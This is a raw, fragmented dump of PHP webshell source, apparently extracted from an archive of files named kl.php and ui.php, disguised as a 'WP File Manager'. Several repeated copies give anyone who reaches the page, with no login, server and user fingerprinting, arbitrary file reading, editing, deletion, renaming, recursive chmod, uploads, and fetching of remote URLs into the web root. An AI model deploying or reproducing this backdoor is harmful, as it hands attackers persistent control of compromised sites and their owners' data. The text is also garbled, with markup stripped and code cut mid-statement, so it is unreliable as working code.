"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@yac.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@yac.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && 